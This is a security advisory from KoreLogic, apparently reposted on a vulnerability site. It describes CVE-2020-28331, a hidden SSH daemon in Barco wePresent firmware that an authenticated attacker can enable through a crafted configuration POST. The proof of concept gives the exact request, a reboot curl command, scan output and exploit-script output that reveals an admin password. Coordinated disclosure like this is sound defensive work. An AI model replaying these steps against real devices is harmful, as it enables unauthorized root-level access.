Barco wePresent Undocumented SSH Interface

2020.11.21
Credit: Jim Becher
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-284

KL-001-2020-007 : Barco wePresent Undocumented SSH Interface Accessible Via Web UI Title: Barco wePresent Undocumented SSH Interface Accessible Via Web UI Advisory ID: KL-001-2020-007 Publication Date: 2020.11.20 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2020-007.txt 1. Vulnerability Details Affected Vendor: Barco Affected Product: wePresent WiPG-1600W Affected Version: 2.5.1.8 Platform: Embedded Linux CWE Classification: CWE-284: Improper Access Control CVE ID: CVE-2020-28331 2. Vulnerability Description The Barco wePresent device has an SSH daemon included in the firmware image. By default, the SSH daemon is disabled and does not start at system boot. The system initialization scripts read a device configuration file variable to see if the SSH daemon should be started. The web interface does not provide a visible capability to alter this configuration file variable. However, a malicious actor can include this variable in a POST such that the SSH daemon will be started when the device boots. 3. Technical Description The Barco wePresent web UI does not appear to have configuration options/settings for enabling the SSH service or configuring system-level accounts on the device. The device does not have a SSH daemon listening by default. In looking at the unpacked firmware, there is an SSH daemon init script (/etc/init.d/S41ssh). The init script starts the SSH daemon only if a specific value from the device's configuration is set to "1". Excerpts from the init script: mode=$(/mnt/AwGetCfg get RD_DEBUG_MODE) runprocess() { if [ "$mode" = "1" ]; then echo "dropbear running" /usr/bin/dropbear fi } The AwGetCfg binry reads the /etc/content/AwDefault.xml file, and there is a RD_DEBUG_MODE value set in that file. By default RD_DEBUG_MODE is set to "0" in the firmware. While the web pages in the web UI do not have apparent ways to enable SSH, other configuration settings that appear in the /etc/content/AwDefault.xml file can be modified by the web UI. So, a configuration change originating from the UI can be intercepted and modified to set RD_DEBUG_MODE to 1. Many (all?) configuration changes to the device require a reboot to take effect. So, another POST has to be sent, using the "SEID" to reboot the device. After the device comes back up, the SSH service is indeed running and accepting connections. The root user is the only system level user that is present in the firmware by default. A hash for the root account is present in the /etc/shadow file, but has been resistant to being cracked thus far. 4. Mitigation and Remediation Recommendation The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at: https://www.barco.com/en/support/software/R33050104 5. Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. 6. Disclosure Timeline 2020.08.24 - KoreLogic submits vulnerability details to Barco. 2020.08.25 - Barco acknowledges receipt and the intention to investigate. 2020.09.21 - Barco notifies KoreLogic that this issue, along with several others reported by KoreLogic, will require more than the standard 45 business day remediation timeline. Barco requests to delay coordinated disclosure until 2020.12.11. 2020.09.23 - KoreLogic agrees to 2020.12.11 coordinated disclosure. 2020.09.25 - Barco informs KoreLogic of their intent to acquire CVE number for this vulnerability. 2020.11.09 - Barco shares CVE number with KoreLogic and announces their intention to release the updated firmware ahead of schedule, on 2020.11.11. Request that KoreLogic delay public disclosure until 2020.11.20. 2020.11.11 - Barco firmware release. 2020.11.20 - KoreLogic public disclosure. 7. Proof of Concept $ nmap 192.168.2.200 Nmap scan report for 192.168.2.200 Host is up (0.0035s latency). Not shown: 988 closed ports PORT STATE SERVICE 80/tcp open http 389/tcp open ldap 443/tcp open https 515/tcp open printer 1688/tcp open nsjtp-data 3268/tcp open globalcatLDAP 4001/tcp open newoak 5566/tcp open westec-connect 6000/tcp open X11 7000/tcp open afs3-fileserver 7100/tcp open font-service 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds To enable SSH service, authenticate to the wePresent device and click apply (does not even have to be an actual configuration change). In the POST add "<name>RD_DEBUG_MODE</name><value>1</value>" POST /cgi-bin/return.cgi HTTP/1.1 Host: 192.168.2.200 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 520 Origin: https://192.168.2.200 Connection: close Referer: https://192.168.2.200/cgi-bin/web_index.cgi?lang=en&src=AwDevice.html&rjviSfqdmPuWrZ7z command=<Send><seid>rjviSfqdmPuWrZ7z</seid><name>WL_PAIRING_ONOFF</name><value>0</value><name>NTP_SYNC</name><value>1</value><name>NTP_SERVER_IP</name><value></value><name>TIME_ZONE</name><value>GMT-8_CH</value><name>PREF_LOGINCODE</name><value>2</value><name>VIDEO_OUT</name><value>4</value><name>VIDEO_RES</name><value>7</value><name>PREF_UNIVERSAL_LOGINCODE</name><value>2113</value><name>ENABLE_DST</name><value>1</value><name>IOS_AIRPLAY_ONOFF</name><value>1</value><name>RD_DEBUG_MODE</name><value>1</value></Send> And then issue a reboot to the device: $ curl -k -X POST https://192.168.2.200/cgi-bin/return.cgi -d 'command=<Send><seid>rjviSfqdmPuWrZ7z</seid><Factory>reboot</Factory></Send>' <return><Factory>RebootOK</Factory></return> The above steps can be captured in a Python script (a different SEID was generated by the device): user@machine:~/wepresent$ ./WePwn.py -h 192.168.2.200 [+] Admin password is: W3Pr3s3nt [+] SEID is: PqhXbb4jQ2g8T4ss [+] Enabling SSH Daemon [+] Rebooting device [+] Waiting for 60 seconds while device reboots 10...20...30...40...50...60 After the device reboots, the SSH daemon is now running and listening on port 22/tcp. $ nmap 192.168.2.200 Nmap scan report for 192.168.2.200 Host is up (0.0037s latency). Not shown: 987 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 389/tcp open ldap 443/tcp open https 515/tcp open printer 1688/tcp open nsjtp-data 3268/tcp open globalcatLDAP 4001/tcp open newoak 5566/tcp open westec-connect 6000/tcp open X11 7000/tcp open afs3-fileserver 7100/tcp open font-service 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds The contents of this advisory are copyright(c) 2020 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top